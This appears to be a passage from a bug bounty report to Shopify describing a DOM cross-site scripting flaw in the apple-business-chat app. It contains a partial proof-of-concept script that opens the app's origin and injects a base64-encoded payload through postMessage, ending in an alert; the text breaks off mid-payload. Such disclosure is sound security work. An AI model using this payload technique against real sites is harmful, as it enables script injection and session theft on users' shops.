██████ DOM XSS via Shopify.API.remoteRedirect

Hi, team. I found a dom xss on the apple-business-chat app that seems to be referring to a vulnerable js file. For users who have installed this app, just let him use the theme code I provided to complete xss. Modify the theme code to the following payload

<script>
	  function attack(){
	    let ctx=window.open('https://apple-business-chat-commerce.shopifycloud.com'),interval;
	    let payload=btoa(`window.opener.postMessage('success',location.origin);alert(document.domain)`);
	    interval=setInterval(()=>{
	        ctx && ctx.postMessage({ …